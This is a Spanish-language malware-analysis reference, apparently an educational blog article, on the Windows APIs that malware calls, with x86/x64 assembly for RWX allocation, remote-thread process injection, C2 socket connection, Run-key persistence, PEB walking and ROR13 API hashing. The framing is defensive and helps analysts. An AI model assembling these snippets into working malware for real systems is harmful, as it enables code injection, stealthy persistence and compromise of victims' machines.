API Calls de Windows en Ensamblador: Lo que el Malware Ejecuta
Referencia de las APIs de Windows mas usadas por malware vistas desde ensamblador. Operaciones de archivos, memoria, procesos, red y registro. Como leer los parametros en x86 y x64, y como el malware resuelve APIs dinamicamente.
Las APIs como vocabulario del malware
El malware de Windows no inventa primitivas de bajo nivel para interactuar con el sistema operativo. Usa las mismas APIs que cualquier programa legitimo: crear archivos, asignar memoria, lanzar procesos, comunicarse por red. La diferencia esta en como las usa y en que combinaciones.
Cuando analizas malware en ensamblador, las llamadas a APIs de Windows son tus puntos de referencia. Cada CALL a una API te dice que esta haciendo el malware en ese momento. Los parametros antes del CALL te dicen los detalles: que archivo abre, cuanta memoria pide, que proceso crea, a que IP se conecta.
Este articulo es una referencia de las APIs mas relevantes, organizadas por categoria, con su firma en ensamblador x86 y x64.
Memoria: VirtualAlloc y VirtualProtect
VirtualAlloc
VirtualAlloc asigna memoria virtual. Es la API favorita del malware para obtener memoria donde escribir y ejecutar shellcode.
// Firma C
LPVOID VirtualAlloc(
LPVOID lpAddress, // direccion deseada (NULL = el SO elige)
SIZE_T dwSize, // tamano en bytes
DWORD flAllocationType, // MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000)
DWORD flProtect // permisos de pagina
);
En x86:
push 0x40 ; PAGE_EXECUTE_READWRITE (RWX)
push 0x3000 ; MEM_COMMIT | MEM_RESERVE
push 0x1000 ; 4096 bytes
push 0 ; NULL (el SO elige la direccion)
call VirtualAlloc
; EAX = direccion de la memoria asignada (o NULL si falla)
test eax, eax
jz error_alloc
mov [shellcode_addr], eax
En x64:
mov r9d, 0x40 ; flProtect = PAGE_EXECUTE_READWRITE
mov r8d, 0x3000 ; flAllocationType = MEM_COMMIT | MEM_RESERVE
mov edx, 0x1000 ; dwSize = 4096
xor ecx, ecx ; lpAddress = NULL
sub rsp, 0x28 ; shadow space
call VirtualAlloc
add rsp, 0x28
test rax, rax
jz error_alloc
Valores de flProtect que indican actividad sospechosa:
| Constante | Valor | Significado |
|---|---|---|
| PAGE_EXECUTE_READWRITE | 0x40 | RWX: la senal de alerta principal |
| PAGE_EXECUTE_READ | 0x20 | RX: mas sutil, el malware escribe primero con RW y luego cambia a RX |
| PAGE_READWRITE | 0x04 | RW: normal para datos, sospechoso si luego cambia a RX |
VirtualProtect
VirtualProtect cambia los permisos de una region de memoria existente. El malware sofisticado asigna memoria con RW (no sospechoso), escribe el shellcode y luego cambia los permisos a RX con VirtualProtect:
; x86
push offset old_protect ; lpflOldProtect (output)
push 0x20 ; PAGE_EXECUTE_READ (cambiar a RX)
push 0x1000 ; tamano
push [shellcode_addr] ; direccion base
call VirtualProtect
Archivos: CreateFile, ReadFile, WriteFile
CreateFileA / CreateFileW
CreateFile es la API principal para abrir archivos. El malware la usa para leer archivos de configuracion, escribir payloads en disco, abrir pipes para comunicacion entre procesos y acceder a dispositivos.
; x86 (stdcall, 7 parametros)
push 0 ; hTemplateFile = NULL
push 0x80 ; dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
push 2 ; dwCreationDisposition = CREATE_ALWAYS
push 0 ; lpSecurityAttributes = NULL
push 0 ; dwShareMode = 0 (exclusivo)
push 0x40000000 ; dwDesiredAccess = GENERIC_WRITE
push offset szDropperPath ; lpFileName = "C:\\Windows\\Temp\\payload.exe"
call CreateFileW
cmp eax, -1 ; INVALID_HANDLE_VALUE
je error
mov [hFile], eax
Valores de dwCreationDisposition relevantes:
| Constante | Valor | Malware lo usa para |
|---|---|---|
| CREATE_ALWAYS | 2 | Dropper: crear archivos de payload |
| OPEN_EXISTING | 3 | Leer archivos de configuracion, acceder a pipes |
| CREATE_NEW | 1 | Crear archivos sin sobrescribir (menos comun) |
WriteFile
Despues de abrir un archivo con GENERIC_WRITE, el malware escribe contenido:
; x86
push 0 ; lpOverlapped = NULL
push offset bytesWritten ; lpNumberOfBytesWritten
push [payload_size] ; nNumberOfBytesToWrite
push [payload_buffer] ; lpBuffer (datos a escribir)
push [hFile] ; hFile (handle de CreateFile)
call WriteFile
Si ves CreateFileW con CREATE_ALWAYS seguido de WriteFile, el malware esta dropeando un archivo en disco. Examina el buffer que se escribe: puede ser un segundo ejecutable, un script o una DLL.
Procesos: CreateProcess y CreateRemoteThread
CreateProcessA / CreateProcessW
CreateProcess lanza un nuevo proceso. El malware lo usa para ejecutar payloads dropeados, comandos del sistema o crear procesos hijo para inyeccion.
; x86 (10 parametros, stdcall)
push offset pi ; PROCESS_INFORMATION output
push offset si ; STARTUPINFO (configuracion de ventana)
push 0 ; lpCurrentDirectory = NULL
push 0 ; lpEnvironment = NULL
push 0x08000000 ; dwCreationFlags = CREATE_NO_WINDOW
push 0 ; bInheritHandles = FALSE
push 0 ; lpThreadAttributes = NULL
push 0 ; lpProcessAttributes = NULL
push offset szCmdLine ; lpCommandLine = "cmd.exe /c ..."
push 0 ; lpApplicationName = NULL
call CreateProcessW
dwCreationFlags sospechosos:
| Flag | Valor | Significado |
|---|---|---|
| CREATE_NO_WINDOW | 0x08000000 | Proceso sin ventana visible |
| CREATE_SUSPENDED | 0x00000004 | Proceso creado suspendido (para process hollowing) |
| DETACHED_PROCESS | 0x00000008 | Sin consola padre |
CREATE_SUSPENDED es una senal fuerte de process hollowing: el malware crea un proceso suspendido, reemplaza su memoria con codigo malicioso y lo reanuda.
CreateRemoteThread
CreateRemoteThread crea un hilo en otro proceso. Es el mecanismo clasico de inyeccion de codigo:
; x86: inyectar shellcode en otro proceso
; Paso 1: VirtualAllocEx (asignar memoria en proceso remoto)
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x3000 ; MEM_COMMIT | MEM_RESERVE
push [shellcode_size] ; tamano
push 0 ; direccion (NULL)
push [hProcess] ; handle del proceso objetivo
call VirtualAllocEx
mov [remote_addr], eax
; Paso 2: WriteProcessMemory (escribir shellcode en proceso remoto)
push 0 ; lpNumberOfBytesWritten
push [shellcode_size]
push [shellcode_local]
push [remote_addr]
push [hProcess]
call WriteProcessMemory
; Paso 3: CreateRemoteThread (ejecutar shellcode en proceso remoto)
push 0 ; lpThreadId
push 0 ; dwCreationFlags
push 0 ; lpParameter
push [remote_addr] ; lpStartAddress (shellcode)
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
push [hProcess] ; hProcess
call CreateRemoteThread
La secuencia VirtualAllocEx, WriteProcessMemory, CreateRemoteThread es la firma clasica de inyeccion de proceso. Los EDRs la monitorizan activamente.
Red: sockets de Winsock
WSAStartup, socket/WSASocket, connect, send, recv
La comunicacion de red con el servidor C2 sigue un patron predecible:
; Inicializar Winsock
push offset wsaData
push 0x0202 ; version 2.2
call WSAStartup
; Crear socket TCP
push 0 ; dwFlags
push 0 ; g (grupo)
push 0 ; lpProtocolInfo
push 6 ; protocol = IPPROTO_TCP
push 1 ; type = SOCK_STREAM
push 2 ; af = AF_INET
call WSASocketA
mov [sock], eax
; Conectar al C2
; sockaddr_in en el stack:
push 0 ; sin_zero (padding)
push 0
push 0xC0A80165 ; sin_addr = 192.168.1.101 (little-endian: 65.01.A8.C0)
push 0x01BB0002 ; sin_port = 443 (0x01BB), sin_family = AF_INET (2)
mov ecx, esp ; puntero a la estructura
push 16 ; namelen = sizeof(sockaddr_in)
push ecx ; name (puntero a sockaddr_in)
push [sock] ; socket
call connect
La direccion IP y el puerto del C2 son los datos mas valiosos que puedes extraer del ensamblador de un RAT. Busca la estructura sockaddr_in antes del CALL a connect. Recuerda que la IP esta en network byte order (big-endian) y el puerto tambien.
send y recv
; Enviar datos al C2
push 0 ; flags
push [data_len] ; longitud
push [data_buf] ; buffer con datos
push [sock] ; socket
call send
; Recibir datos del C2
push 0 ; flags
push 4096 ; longitud maxima
push offset recv_buf ; buffer destino
push [sock] ; socket
call recv
; EAX = bytes recibidos (o error)
Registro: persistencia
RegOpenKeyExA y RegSetValueExA
El malware usa el registro de Windows para persistencia (ejecutarse al reinicio):
; Abrir clave de registro
push offset hKey ; phkResult (output)
push 0x20006 ; samDesired = KEY_SET_VALUE
push 0 ; ulOptions
push offset szSubKey ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
push 0x80000001 ; hKey = HKEY_CURRENT_USER
call RegOpenKeyExA
; Escribir valor (persistencia)
push [path_len] ; cbData (longitud del path del malware)
push offset szMalwarePath ; lpData ("C:\\Users\\...\\malware.exe")
push 1 ; dwType = REG_SZ
push 0 ; Reserved
push offset szValueName ; lpValueName = "WindowsUpdate"
push [hKey] ; hKey (del RegOpenKeyEx)
call RegSetValueExA
; Cerrar clave
push [hKey]
call RegCloseKey
La clave HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run es la ubicacion mas comun para persistencia via registro. Si ves RegSetValueEx con esta clave, el malware se esta instalando para ejecutarse automaticamente.
Resolucion dinamica de APIs
El malware mas sofisticado no importa funciones sospechosas en su IAT. En su lugar, resuelve las direcciones de las funciones en runtime:
LoadLibrary + GetProcAddress
; Cargar DLL que no esta en imports
push offset szWs2_32 ; "ws2_32.dll"
call LoadLibraryA
mov [hWs2], eax
; Resolver funcion
push offset szConnect ; "connect"
push [hWs2] ; handle de la DLL
call GetProcAddress
mov [pConnect], eax ; puntero a la funcion connect
; Llamar a la funcion resuelta
push 16
push offset sockaddr
push [sock]
call [pConnect] ; CALL indirecto via puntero
Las imports del binario solo muestran LoadLibraryA y GetProcAddress. Las funciones reales (connect, send, VirtualAlloc, etc.) no aparecen, dificultando el triage estatico.
Resolucion via PEB (shellcode)
El shellcode no puede usar LoadLibrary porque no sabe su direccion. En su lugar, recorre el PEB para encontrar kernel32.dll:
; Encontrar kernel32.dll via PEB
xor eax, eax
mov eax, fs:[0x30] ; PEB
mov eax, [eax+0x0C] ; PEB->Ldr (PEB_LDR_DATA)
mov eax, [eax+0x14] ; InMemoryOrderModuleList.Flink
mov eax, [eax] ; segundo modulo (ntdll.dll)
mov eax, [eax] ; tercer modulo (kernel32.dll)
mov eax, [eax+0x10] ; DllBase de kernel32.dll
; Ahora recorre la Export Directory de kernel32.dll
; para encontrar GetProcAddress por nombre o hash
Este patron (acceso a FS:[0x30], seguido de traversal de lista enlazada) es la firma universal del shellcode de Windows. Ghidra e IDA lo reconocen y lo anotan automaticamente en la mayoria de los casos.
Resolucion por hash de API
Para evitar almacenar strings como "GetProcAddress" (que son detectables por firmas), el shellcode y el malware avanzado calculan un hash del nombre de la funcion y lo comparan con hashes precalculados:
; Loop de busqueda por hash
; ESI = puntero a la tabla de nombres de exports
; ECX = numero de exports
buscar_api:
push ecx
mov edi, [esi] ; nombre de la funcion actual
add edi, [base_dll] ; RVA a VA
xor eax, eax ; hash = 0
hash_loop:
movzx edx, byte [edi]
test dl, dl
jz hash_done
ror eax, 13 ; rotar derecha 13 bits (ROR13 hash)
add eax, edx ; acumular caracter
inc edi
jmp hash_loop
hash_done:
cmp eax, 0x0726774C ; hash precalculado de "LoadLibraryA"
je encontrada
add esi, 4
pop ecx
dec ecx
jnz buscar_api
El hash ROR13 es el mas comun, popularizado por Metasploit. Pero cada familia de malware puede usar su propio algoritmo de hash. Si ves un loop que lee caracteres de strings y aplica operaciones aritmeticas (ROL, ROR, ADD, XOR, MUL) para producir un valor de 32 bits, es casi seguro un hash de API.
Herramientas como HashDB (plugin IDA), ShellcodeHash y los scripts de FLARE team permiten buscar hashes precalculados para identificar que funcion esta resolviendo el malware.
APIs de evasion
IsDebuggerPresent y CheckRemoteDebuggerPresent
call IsDebuggerPresent
test eax, eax
jnz detectado_debugger ; si hay debugger, evadir o terminar
GetTickCount y QueryPerformanceCounter
El malware mide el tiempo entre dos puntos. Si la diferencia es demasiado grande (indicando single-stepping en un debugger) o demasiado pequena (indicando un fast-forward en sandbox), toma medidas evasivas.
call GetTickCount
mov [tiempo_inicial], eax
; ... codigo que deberia ser rapido ...
call GetTickCount
sub eax, [tiempo_inicial]
cmp eax, 1000 ; mas de 1 segundo?
ja posible_debugger ; probablemente single-stepping
Identificar APIs en Ghidra e IDA
Cuando analizas un binario, las APIs importadas aparecen en la tabla de imports. Pero para APIs resueltas dinamicamente:
- Busca calls a GetProcAddress: el segundo parametro es el nombre de la funcion
- Busca accesos a FS:[0x30] (x86) o GS:[0x60] (x64): resolucion via PEB
- Busca loops con ROR/ROL y ADD sobre bytes de strings: hash de API
- En el debugger, pon breakpoints en GetProcAddress y LoadLibrary para capturar las resoluciones en runtime
- Usa x64dbg con el plugin ScyllaHide para ocultar el debugger de las verificaciones anti-debug
Las APIs que el malware resuelve dinamicamente suelen ser las mas interesantes para el analisis: son las funciones que el autor del malware queria ocultar del analisis estatico.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.